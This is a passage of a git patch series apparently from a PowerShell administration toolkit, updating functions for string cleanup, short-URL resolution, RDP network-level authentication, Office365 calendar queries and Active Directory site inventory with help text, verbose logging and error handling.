$normalized.ToCharArray() | + ForEach-Object -Process { + if ([Globalization.CharUnicodeInfo]::GetUnicodeCategory($psitem) -ne [Globalization.UnicodeCategory]::NonSpacingMark) + { + [void]$NewString.Append($psitem) + } } + + #Combine the new string chars + Write-Output $($NewString -as [string]) + } + Catch + { + Write-Error -Message $Error[0].Exception.Message } - } - END - { - Write-Output $($NewString -as [string]) } } \ No newline at end of file diff --git a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 index 5bcfd67c..dba3b6d3 100644 --- a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 +++ b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 @@ -23,6 +23,7 @@ .NOTES Francois-Xavier Cat + lazywinadmin.com @lazywinadm github.com/lazywinadmin @@ -34,13 +35,29 @@ Initial version Based on Marcin Krzanowic code 1.0.0.1 | Francois-Xavier Cat Added support for ValueFromPipeline + 1.0.0.2 | Francois-Xavier Cat + Add Support for multiple String + Add Error Handling #> + [CmdletBinding()] PARAM ( [Parameter(ValueFromPipeline=$true)] - [System.String]$String + [System.String[]]$String ) PROCESS { - [Text.Encoding]::ASCII.GetString([Text.Encoding]::GetEncoding("Cyrillic").GetBytes($String)) + FOREACH ($StringValue in $String) + { + Write-Verbose -Message "$StringValue" + + TRY + { + [Text.Encoding]::ASCII.GetString([Text.Encoding]::GetEncoding("Cyrillic").GetBytes($StringValue)) + } + CATCH + { + Write-Error -Message $Error[0].exception.message + } + } } } \ No newline at end of file diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index ff9f1ced..71ac7773 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -1,41 +1,42 @@ function Remove-StringSpecialCharacter { <# - .SYNOPSIS - This function will remove the special character from a string. - - .DESCRIPTION - This function will remove the special character from a string. - I'm using Unicode Regular Expressions with the following categories - \p{L} : any kind of letter from any language. - \p{Nd} : a digit zero through nine in any script except ideographic - - http://www.regular-expressions.info/unicode.html - http://unicode.org/reports/tr18/ +.SYNOPSIS + This function will remove the special character from a string. - .PARAMETER String - Specifies the String on which the special character will be removed - - .SpecialCharacterToKeep - Specifies the special character to keep in the output +.DESCRIPTION + This function will remove the special character from a string. + I'm using Unicode Regular Expressions with the following categories + \p{L} : any kind of letter from any language. + \p{Nd} : a digit zero through nine in any script except ideographic - .EXAMPLE - PS C:\> Remove-StringSpecialCharacter -String "^&*@wow*(&(*&@" - wow - .EXAMPLE - PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" - - wow - .EXAMPLE - PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" -SpecialCharacterToKeep "*","_","-" - wow-_* + http://www.regular-expressions.info/unicode.html + http://unicode.org/reports/tr18/ + +.PARAMETER String + Specifies the String on which the special character will be removed + +.SpecialCharacterToKeep + Specifies the special character to keep in the output + +.EXAMPLE + PS C:\> Remove-StringSpecialCharacter -String "^&*@wow*(&(*&@" + wow +.EXAMPLE + PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com + wow +.EXAMPLE + PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" -SpecialCharacterToKeep "*","_","-" + wow-_* + +.NOTES + Francois-Xavier Cat + @lazywinadm + www.lazywinadmin.com + github.com/lazywinadmin #> - + [CmdletBinding()] param ( [Parameter(ValueFromPipeline)] @@ -63,6 +64,7 @@ FOREACH ($Str in $string) { + Write-Verbose -Message "Original String: $Str" $Str -replace $regex, "" } } #PROCESS diff --git a/TOOL-Resolve-ShortURL/Resolve-ShortURL b/TOOL-Resolve-ShortURL/Resolve-ShortURL deleted file mode 100644 index 84df88f5..00000000 --- a/TOOL-Resolve-ShortURL/Resolve-ShortURL +++ /dev/null @@ -1,41 +0,0 @@ -function Resolve-ShortURL -{ -<# - .SYNOPSIS - Function to resolve a short URL to the absolute URI - - .DESCRIPTION - Function to resolve a short URL to the absolute URI - - .PARAMETER ShortUrl - Specifies the ShortURL - .EXAMPLE - Resolve-ShortURL -ShortUrl http://goo.gl/P5PKq - .EXAMPLE - Resolve-ShortURL -ShortUrl http://go.microsoft.com/fwlink/?LinkId=280243 - .NOTES - Francois-Xavier Cat - lazywinadmin.com - @lazywinadm - github.com/lazywinadmin -#> - - [CmdletBinding()] - [OutputType([System.String])] - param - ( - [String[]]$ShortUrl - ) - - FOREACH ($URL in $ShortUrl) - { - TRY - { - (Invoke-WebRequest -Uri $URL -MaximumRedirection 0 -ErrorAction Ignore).Headers.Location - } - CATCH - { - - } - } -} diff --git a/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 b/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 new file mode 100644 index 00000000..73a1f02c --- /dev/null +++ b/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 @@ -0,0 +1,45 @@ +function Resolve-ShortURL +{ +<# +.SYNOPSIS + Function to resolve a short URL to the absolute URI + +.DESCRIPTION + Function to resolve a short URL to the absolute URI + +.PARAMETER ShortUrl + Specifies the ShortURL + +.EXAMPLE + Resolve-ShortURL -ShortUrl http://goo.gl/P5PKq + +.EXAMPLE + Resolve-ShortURL -ShortUrl http://go.microsoft.com/fwlink/?LinkId=280243 + +.NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + + [CmdletBinding()] + [OutputType([System.String])] + PARAM + ( + [String[]]$ShortUrl + ) + + FOREACH ($URL in $ShortUrl) + { + TRY + { + Write-Verbose -Message "$URL - Querying..." + (Invoke-WebRequest -Uri $URL -MaximumRedirection 0 -ErrorAction Ignore).Headers.Location + } + CATCH + { + Write-Error -Message $Error[0].Exception.Message + } + } +} diff --git a/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 b/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 index d9375e9b..d0938c93 100644 --- a/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 +++ b/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 @@ -38,10 +38,10 @@ [CmdletBinding()] PARAM ( [Parameter(ValueFromPipeline,ValueFromPipelineByPropertyName)] - [String[]]$ComputerName = $env:ComputerName, + [System.String[]]$ComputerName = $env:ComputerName, [Parameter(Mandatory)] - [Bool]$EnableNLA, + [System.Boolean]$EnableNLA, [Alias("RunAs")] [System.Management.Automation.Credential()] @@ -53,16 +53,15 @@ { IF (-not (Get-Module -Name CimCmdlets)) { - Write-Verbose -Message 'BEGIN - Import Module CimCmdlets' + Write-Verbose -Message '[BEGIN] Import Module CimCmdlets' Import-Module CimCmdlets -ErrorAction 'Stop' -ErrorVariable ErrorBeginCimCmdlets - } } CATCH { IF ($ErrorBeginCimCmdlets) { - Write-Error -Message "BEGIN - Can't find CimCmdlets Module" + Write-Error -Message "[BEGIN] Can't find CimCmdlets Module" } } }#BEGIN @@ -71,9 +70,11 @@ { FOREACH ($Computer in $ComputerName) { + Write-Verbose -message $Computer TRY { # Building Splatting for CIM Sessions + Write-Verbose -message "$Computer - CIM/WIM - Building Splatting" $CIMSessionParams = @{ ComputerName = $Computer ErrorAction = 'Stop' @@ -83,57 +84,62 @@ # Add Credential if specified when calling the function IF ($PSBoundParameters['Credential']) { + Write-Verbose -message "[PROCESS] $Computer - CIM/WMI - Add Credential Specified" $CIMSessionParams.credential = $Credential } # Connectivity Test - Write-Verbose -Message "PROCESS - $Computer - Testing Connection..." - Test-Connection -ComputerName $Computer -count 1 -ErrorAction Stop -ErrorVariable ErrorTestConnection | Out-Null + Write-Verbose -Message "[PROCESS] $Computer - Testing Connection..." + Test-Connection -ComputerName $Computer -Count 1 -ErrorAction Stop -ErrorVariable ErrorTestConnection | Out-Null # CIM/WMI Connection # WsMAN IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: 3.0') { - Write-Verbose -Message "PROCESS - $Computer - WSMAN is responsive" + Write-Verbose -Message "[PROCESS] $Computer - WSMAN is responsive" $CimSession = New-CimSession @CIMSessionParams $CimProtocol = $CimSession.protocol - Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Opened" + Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Opened" } # DCOM ELSE { # Trying with DCOM protocol - Write-Verbose -Message "PROCESS - $Computer - Trying to connect via DCOM protocol" + Write-Verbose -Message "[PROCESS] $Computer - Trying to connect via DCOM protocol" $CIMSessionParams.SessionOption = New-CimSessionOption -Protocol Dcom $CimSession = New-CimSession @CIMSessionParams $CimProtocol = $CimSession.protocol - Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Opened" + Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Opened" } # Getting the Information on Terminal Settings - Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Get the Terminal Services Information" + Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Get the Terminal Services Information" $NLAinfo = Get-CimInstance -CimSession $CimSession -ClassName Win32_TSGeneralSetting -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'" $NLAinfo | Invoke-CimMethod -MethodName SetUserAuthenticationRequired -Arguments @{ UserAuthenticationRequired = $EnableNLA } -ErrorAction 'Continue' -ErrorVariable ErrorProcessInvokeWmiMethod } CATCH { - Write-Warning -Message "PROCESS - Error on $Computer" - $_.Exception.Message - if ($ErrorTestConnection) { Write-Warning -Message "PROCESS Error - $ErrorTestConnection" } - if ($ProcessError) { Write-Warning -Message "PROCESS Error - $ProcessError" } - if ($ErrorProcessInvokeWmiMethod) { Write-Warning -Message "PROCESS Error - $ErrorProcessInvokeWmiMethod" } + Write-Warning -Message "Error on $Computer" + Write-Error -Message $_.Exception.Message + if ($ErrorTestConnection) { Write-Warning -Message "[PROCESS] Error - $ErrorTestConnection" } + if ($ProcessError) { Write-Warning -Message "[PROCESS] Error - $ProcessError" } + if ($ErrorProcessInvokeWmiMethod) { Write-Warning -Message "[PROCESS] Error - $ErrorProcessInvokeWmiMethod" } }#CATCH + FINALLY + { + if ($CimSession) + { + # CLeanup/Close the remaining session + Write-Verbose -Message "[PROCESS] Finally Close any CIM Session(s)" + Remove-CimSession -CimSession $CimSession + } + } } # FOREACH }#PROCESS END - { - if ($CimSession) - { - Write-Verbose -Message "END - Close CIM Session(s)" - Remove-CimSession $CimSession - } - Write-Verbose -Message "END - Script is completed" + { + Write-Verbose -Message "[END] Script is completed" } } diff --git a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 index 32821b6c..8c4d6a18 100644 --- a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 +++ b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 @@ -1,4 +1,19 @@ function Test-IsLocalAdministrator { - return ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") +<# +.SYNOPSIS + Function to verify if the current user is a local Administrator on the current system +.DESCRIPTION + Function to verify if the current user is a local Administrator on the current system +.EXAMPLE + Test-IsLocalAdministrator + + True +.NOTES + Francois-Xavier Cat + @lazywinadm + www.lazywinadmin.com + github.com/lazywinadmin +#> + ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") } \ No newline at end of file diff --git a/TOOL-Test-RemoteDesktop/Test-RemoteDesktop.ps1 b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 similarity index 58% rename from TOOL-Test-RemoteDesktop/Test-RemoteDesktop.ps1 rename to TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 index c633c4f2..4ac536f7 100644 --- a/TOOL-Test-RemoteDesktop/Test-RemoteDesktop.ps1 +++ b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 @@ -1,18 +1,32 @@ -function Test-RemoteDesktop +function Test-RemoteDesktopIsEnabled { - <# - .SYNOPSIS - Function to check if RDP is enabled - .DESCRIPTION - Function to check if RDP is enabled - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com - #> - +<# +.SYNOPSIS + Function to check if RDP is enabled + +.DESCRIPTION + Function to check if RDP is enabled + +.EXAMPLE + Test-RemoteDesktopIsEnabled + + Test if Remote Desktop is enabled on the current machine + +.EXAMPLE + Test-RemoteDesktopIsEnabled -ComputerName SERVER01,SERVER02 + + Test if Remote Desktop is enabled on the remote machine SERVER01 and SERVER02 + +.NOTES + Francois-Xavier Cat + @lazywinadm + www.lazywinadmin.com + github.com/lazywinadmin +#> + + PARAM( - [String[]]$ComputerName + [String[]]$ComputerName = $env:COMPUTERNAME ) FOREACH ($Computer in $ComputerName) { diff --git a/TOOL-Write-Log/TOOL-Write-Log.ps1 b/TOOL-Write-Log/TOOL-Write-Log.ps1 index 1a7ad388..ac879b14 100644 --- a/TOOL-Write-Log/TOOL-Write-Log.ps1 +++ b/TOOL-Write-Log/TOOL-Write-Log.ps1 @@ -1,5 +1,10 @@ function Write-Log { +<# +.SYNOPSIS + Function to create or append a log file + +#> [CmdletBinding()] Param ( [Parameter()] @@ -15,6 +20,7 @@ function Write-Log $Category ) BEGIN { + # Verify if the log already exists, else create it IF (-not(Test-Path -Path $(Join-Path -Path $Path -ChildPath $LogName))){ New-Item -Path $(Join-Path -Path $Path -ChildPath $LogName) -ItemType file } From 6a7610c861d3ce5231c1d64540019f1d346dbe9a Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 14 Nov 2016 20:35:19 -0500 Subject: [PATCH 126/561] Add Get-ImageInformation --- .../Get-ImageInformation.ps1 | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 TOOL-Get-ImageInformation/Get-ImageInformation.ps1 diff --git a/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 b/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 new file mode 100644 index 00000000..a4dd9e03 --- /dev/null +++ b/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 @@ -0,0 +1,33 @@ +function Get-ImageInformation +{ +<# +.SYNOPSIS + function to retrieve Image file information + +.DESCRIPTION + function to retrieve Image file information + +.PARAMETER FilePath + Specify one or multiple image file path(s). + +.EXAMPLE + PS C:\> Get-ImageInformation -FilePath c:\temp\image.png + +.NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + PARAM ( + [System.String[]]$FilePath + ) + Foreach ($Image in $FilePath) + { + # Load Assembly + Add-type -AssemblyName System.Drawing + + # Retrieve information + New-Object -TypeName System.Drawing.Bitmap -ArgumentList $Image + } +} \ No newline at end of file From 2e22bcf73a05b8edae8f64f4bd7e0b6d57381ac9 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 14 Nov 2016 20:37:56 -0500 Subject: [PATCH 127/561] Add Readme --- TOOL-Get-ImageInformation/readme.md | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 TOOL-Get-ImageInformation/readme.md diff --git a/TOOL-Get-ImageInformation/readme.md b/TOOL-Get-ImageInformation/readme.md new file mode 100644 index 00000000..5c258def --- /dev/null +++ b/TOOL-Get-ImageInformation/readme.md @@ -0,0 +1,26 @@ +# Get-ImageInformation + +## Using the function +``` powershell +Get-ImageInformation -FilePath c:\test\image.png +``` + +## Output example + +``` powershell +Tag : +PhysicalDimension : {Width=301, Height=308} +Size : {Width=301, Height=308} +Width : 301 +Height : 308 +HorizontalResolution : 96 +VerticalResolution : 96 +Flags : 77840 +RawFormat : [ImageFormat: b96b3cae-0728-11d3-9d7b-0000f81ef32e] +PixelFormat : Format24bppRgb +Palette : System.Drawing.Imaging.ColorPalette +FrameDimensionsList : {7462dc86-6180-4c7e-8e3f-ee7333a7a483} +PropertyIdList : {305, 36864, 40962, 40963...} +PropertyItems : {305, 36864, 40962, 40963...} + +``` \ No newline at end of file From 27d06e1a6353e5118dc11005914adaa6f5488c7e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Sun, 2 Apr 2017 20:10:50 -0400 Subject: [PATCH 128/561] Update Get-O365CalendarEvent function --- .../O365-Get-O365CalendarEvent.ps1 | 240 +++++++++++++----- 1 file changed, 172 insertions(+), 68 deletions(-) diff --git a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 index 8772afb3..4562116c 100644 --- a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 +++ b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 @@ -1,102 +1,206 @@ function Get-O365CalendarEvent { <# - .SYNOPSIS - Function to gather Calendar Events between two specific dates +.SYNOPSIS + Function to gather Calendar Events between two specific dates - .DESCRIPTION - Function to gather Calendar Events between two specific dates - It is using the REST API available against Office365 +.DESCRIPTION + Function to gather Calendar Events between two specific dates + It is using the REST API available against Office365 - .PARAMETER EmailAddress - Specifies the mailbox email address to query. - Default is the current user - Example: info@lazywinadmin.com +.PARAMETER EmailAddress + Specifies the mailbox email address to query. + Default is the current user + Example: info@lazywinadmin.com - .PARAMETER StartDateTime - Specifies the Start Date Time - The UTC date and time when the event starts. (datetimeoffset) - Default is now. +.PARAMETER StartDateTime + Specifies the Start Date Time + The UTC date and time when the event starts. (datetimeoffset) + Default is now. - .PARAMETER EndDateTime - Specifies the End Date Time - The UTC date and time when the event ends. (datetimeoffset) - Default is next week (7 days). - - .PARAMETER Credential - Specifies alternative credentials - By default it will use the current user. +.PARAMETER EndDateTime + Specifies the End Date Time + The UTC date and time when the event ends. (datetimeoffset) + Default is next week (7 days). + +.PARAMETER Timezone + Specify the timezone + Complete list available here https://technet.microsoft.com/en-us/library/cc749073(v=ws.10).aspx + +.PARAMETER Credential + Specifies alternative credentials + By default it will use the current user. - .PARAMETER PageResult - Specifies the number of items to return. Max is 50. +.PARAMETER PageResult + Specifies the number of items to return. Max is 50. - .EXAMPLE - PS C:\> Get-O365CalendarEvent +.EXAMPLE + PS C:\> Get-O365CalendarEvent - Get the calendar Events of the next coming week for the current user. + Get the calendar Events of the next coming week for the current user. - .EXAMPLE - PS C:\> Get-O365CalendarEvent -EmailAddress info@lazywinadmin.com -Credential (Get-Credential) | Select-Object -Property Subject, StartTimeZone, Start, End, @{L="Attendees";E={$psitem.attendees.emailaddress | Select-Object -Property name -Unique|Sort}} +.EXAMPLE + PS C:\> Get-O365CalendarEvent -EmailAddress info@lazywinadmin.com -Credential (Get-Credential) | Select-Object -Property Subject, StartTimeZone, Start, End, @{L="Attendees";E={$psitem.attendees.emailaddress | Select-Object -Property name -Unique|Sort}} - Get the calendar Events Subject, StartTimeZone,Start, End, Attendees for the last 7 days + Get the calendar Events Subject, StartTimeZone,Start, End, Attendees for the last 7 days - .EXAMPLE - Get-O365CalendarEvent -EmailAddress info@lazywinadmin.com -Credential $cred -StartDateTime $((Get-Date).adddays(-50)) -PageResult 15 +.EXAMPLE + Get-O365CalendarEvent -EmailAddress info@lazywinadmin.com -Credential $cred -StartDateTime $((Get-Date).adddays(-50)) -PageResult 15 - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - github.com/lazywinadmin +.NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin - # More about the Calendar operations - https://msdn.microsoft.com/office/office365/api/calendar-rest-operations + # More about the Calendar operations + https://msdn.microsoft.com/office/office365/api/calendar-rest-operations - # Filter/Sorting/Top/Order - https://msdn.microsoft.com/office/office365/APi/complex-types-for-mail-contacts-calendar#UseODataqueryparametersPageresults - - .HISTORY - Stephane van Gulick - PowerShellDistrict.com: Added Headers Property 'timeZone' to fit the display gap that could happen between an actual event an the current timeZone. + # Filter/Sorting/Top/Order + https://msdn.microsoft.com/office/office365/APi/complex-types-for-mail-contacts-calendar#UseODataqueryparametersPageresults + + VERSION HISTORY + 1.0 | 2015/06/00 | Francois-Xavier Cat (lazywinadmin.com) + Initial version + 1.1 | 2016/06/21 | Stephane van Gulick - (PowerShellDistrict.com) + Added Headers Property 'timeZone' to fit the display gap that could happen between an actual event an the current timeZone. + 1.2 | 2017/04/02 | Francois-Xavier Cat (lazywinadmin.com) + Add all the timezones in the ValidateSet of $TimeZone + Add TRY/CATCH and Error handler + Add some Verbose messages #> [CmdletBinding()] param ( - [String]$EmailAddress, - [datetime]$StartDateTime = (Get-Date), - [datetime]$EndDateTime = ((Get-Date).adddays(7)), + [System.String]$EmailAddress, + + [System.datetime]$StartDateTime = (Get-Date), + + [System.datetime]$EndDateTime = ((Get-Date).adddays(7)), + [System.Management.Automation.Credential()] $Credential = [System.Management.Automation.PSCredential]::Empty, + [ValidateNotNullOrEmpty()] [ValidateRange(1, 50)] $PageResult = '10', - [ValidateSet( - 'Romance Standard Time', - 'Atlantic Standard Time' - )] - $Timezone #complete list available here https://technet.microsoft.com/en-us/library/cc749073(v=ws.10).aspx + + [ValidateSet( + 'Afghanistan Standard Time', + 'Alaskan Standard Time', + 'Arab Standard Time', + 'Arabian Standard Time', + 'Arabic Standard Time', + 'Atlantic Standard Time', + 'AUS Central Standard Time', + 'AUS Eastern Standard Time', + 'Azerbaijan Standard Time', + 'Azores Standard Time', + 'Canada Central Standard Time', + 'Cape Verde Standard Time', + 'Caucasus Standard Time', + 'Cen. Australia Standard Time', + 'Central America Standard Time', + 'Central Asia Standard Time', + 'Central Brazilian Standard Time', + 'Central Europe Standard Time', + 'Central European Standard Time', + 'Central Pacific Standard Time', + 'Central Standard Time', + 'Central Standard Time (Mexico)', + 'China Standard Time', + 'Dateline Standard Time', + 'E. Africa Standard Time', + 'E. Australia Standard Time', + 'E. Europe Standard Time', + 'E. South America Standard Time', + 'Eastern Standard Time', + 'Egypt Standard Time', + 'Ekaterinburg Standard Time', + 'Fiji Standard Time', 'FLE Standard Time', + 'Georgian Standard Time', + 'GMT Standard Time', + 'Greenland Standard Time', + 'Greenwich Standard Time', + 'GTB Standard Time', + 'Hawaiian Standard Time', + 'India Standard Time', + 'Iran Standard Time', + 'Israel Standard Time', + 'Korea Standard Time', + 'Mid-Atlantic Standard Time', + 'Mountain Standard Time', + 'Mountain Standard Time (Mexico)', + 'Myanmar Standard Time', + 'N. Central Asia Standard Time', + 'Namibia Standard Time', + 'Nepal Standard Time', + 'New Zealand Standard Time', + 'Newfoundland Standard Time', + 'North Asia East Standard Time', + 'North Asia Standard Time', + 'Pacific SA Standard Time', + 'Pacific Standard Time', + 'Romance Standard Time', + 'Russian Standard Time', + 'SA Eastern Standard Time', + 'SA Pacific Standard Time', + 'SA Western Standard Time', + 'Samoa Standard Time', + 'SE Asia Standard Time', + 'Singapore Standard Time', + 'South Africa Standard Time', + 'Sri Lanka Standard Time', + 'Taipei Standard Time', + 'Tasmania Standard Time', + 'Tokyo Standard Time', + 'Tonga Standard Time', + 'US Eastern Standard Time', + 'US Mountain Standard Time', + 'Vladivostok Standard Time', + 'W. Australia Standard Time', + 'W. Central Africa Standard Time', + 'W. Europe Standard Time', + 'West Asia Standard Time', + 'West Pacific Standard Time', + 'Yakutsk Standard Time' + )] + [System.String]$Timezone ) PROCESS { - - - $Splatting = @{ - Credential = $Credential - Uri = "https://outlook.office365.com/api/v1.0/users/$EmailAddress/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" - - } - - if ($TimeZone){ - $headers = New-Object 'System.Collections.Generic.Dictionary[[String],[String]]' - $headers.Add('Prefer', "outlook.timezone=`"$TimeZone`"") - $Splatting.Add('Headers',$headers) - } - if (-not $PSBoundParameters['EmailAddress']) + TRY + { + $ScriptName = (Get-Variable -Name MyInvocation -Scope 0 -ValueOnly).MyCommand + + Write-Verbose -Message "[$ScriptName] Create splatting" + $Splatting = @{ + Credential = $Credential + Uri = "https://outlook.office365.com/api/v1.0/users/$EmailAddress/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" + } + + + if ($TimeZone) + { + Write-Verbose -Message "[$ScriptName] Add TimeZone" + $headers = New-Object -TypeName 'System.Collections.Generic.Dictionary[[String],[String]]' + $headers.Add('Prefer', "outlook.timezone=`"$TimeZone`"") + $Splatting.Add('Headers', $headers) + } + if (-not $PSBoundParameters['EmailAddress']) + { + Write-Verbose -Message "[$ScriptName] EmailAddress not specified, updating URI" + #Query the current User + $Splatting.Uri = "https://outlook.office365.com/api/v1.0/me/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" + } + Write-Verbose -Message "[$ScriptName] URI: $($Splatting.Uri)" + Invoke-RestMethod @Splatting -ErrorAction Stop | Select-Object -ExpandProperty Value + } + CATCH { - #Query the current User - $Splatting.Uri = "https://outlook.office365.com/api/v1.0/me/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" + $PSCmdlet.ThrowTerminatingError($_) } - Invoke-RestMethod @Splatting | Select-Object -ExpandProperty Value } } \ No newline at end of file From 8de3de9970628ac9599dbaab58bf539640779ead Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Wed, 5 Jul 2017 22:18:54 -0400 Subject: [PATCH 129/561] Add Get-HelpMessage --- TOOL-Get-HelpMessage/Get-HelpMessage.ps1 | 41 ++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 TOOL-Get-HelpMessage/Get-HelpMessage.ps1 diff --git a/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 b/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 new file mode 100644 index 00000000..f0d53d38 --- /dev/null +++ b/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 @@ -0,0 +1,41 @@ +function Get-HelpMessage +{ + <# + .SYNOPSIS + Function to explain why an error occurred and provides problem-solving information. + Equivalent of NET HELPMSG + + .DESCRIPTION + Function to explain why an error occurred and provides problem-solving information. + Equivalent of NET HELPMSG. + + The function also create an alias called HelpMsg, so you can call the function this way: + HelpMsg 618 + + .PARAMETER Id + Specify the ID of the error you want to retrieve. + Can be decimal, hexadecimal + + .EXAMPLE + Get-HelpMessage 618 + + The specified compression format is unsupported + + .EXAMPLE + Get-HelpMessage 0x80070652 + + Another installation is already in progress. Complete that installation before proceeding with this install + + .EXAMPLE + Get-HelpMessage –2147023278 + Another installation is already in progress. Complete that installation before proceeding with this install + + .NOTES + http://www.leeholmes.com/blog/2009/09/15/powershell-equivalent-of-net-helpmsg/ + https://github.com/lazywinadmin/powershell + #> + [CmdletBinding()] + [Alias('HelpMsg')] + PARAM($Id) + [ComponentModel.Win32Exception] $id +} \ No newline at end of file From 38e75e25e86c091f3b8df1a1e165ed20e530c12c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Wed, 5 Jul 2017 22:19:56 -0400 Subject: [PATCH 130/561] Add verbose messages and update error handling --- .../Get-ADSiteInventory.ps1 | 34 ++++++++++++------- 1 file changed, 21 insertions(+), 13 deletions(-) diff --git a/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 b/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 index 6931ec8f..3137ff82 100644 --- a/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 +++ b/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 @@ -12,50 +12,58 @@ .EXAMPLE Get-ADSiteInventory | Export-Csv -Path .\ADSiteInventory.csv + This will save all the site inventory to csv file + .OUTPUTS PSObject .NOTES AUTHOR : Francois-Xavier Cat DATE : 2014/02/02 - - HISTORY : - - 1.0 2014/02/02 Initial Version - + VERSION HISTORY : + 1.0 | 2014/02/02 | Francois-Xavier Cat + Initial Version + 1.1 | 2014/02/02 | Francois-Xavier Cat + Update some verbose messages #> [CmdletBinding()] PARAM() - BEGIN {Write-Verbose -Message "[BEGIN] Starting Script..."} PROCESS { TRY{ + # Get Script name + $ScriptName = (Get-Variable -name MyInvocation -Scope 0 -ValueOnly).Mycommand + # Domain and Sites Information + Write-Verbose -message "[$ScriptName][PROCESS] Retrieve current Forest" $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + Write-Verbose -message "[$ScriptName][PROCESS] Retrieve current Forest sites" $SiteInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites # Forest Context + Write-Verbose -message "[$ScriptName][PROCESS] Create forest context" $ForestType = [System.DirectoryServices.ActiveDirectory.DirectoryContexttype]"forest" $ForestContext = New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList $ForestType,$Forest # Distinguished Name of the Configuration Partition + Write-Verbose -message "[$ScriptName][PROCESS] Retrieve RootDSE Configuration Naming Context" $Configuration = ([ADSI]"LDAP://RootDSE").configurationNamingContext # Get the Subnet Container + 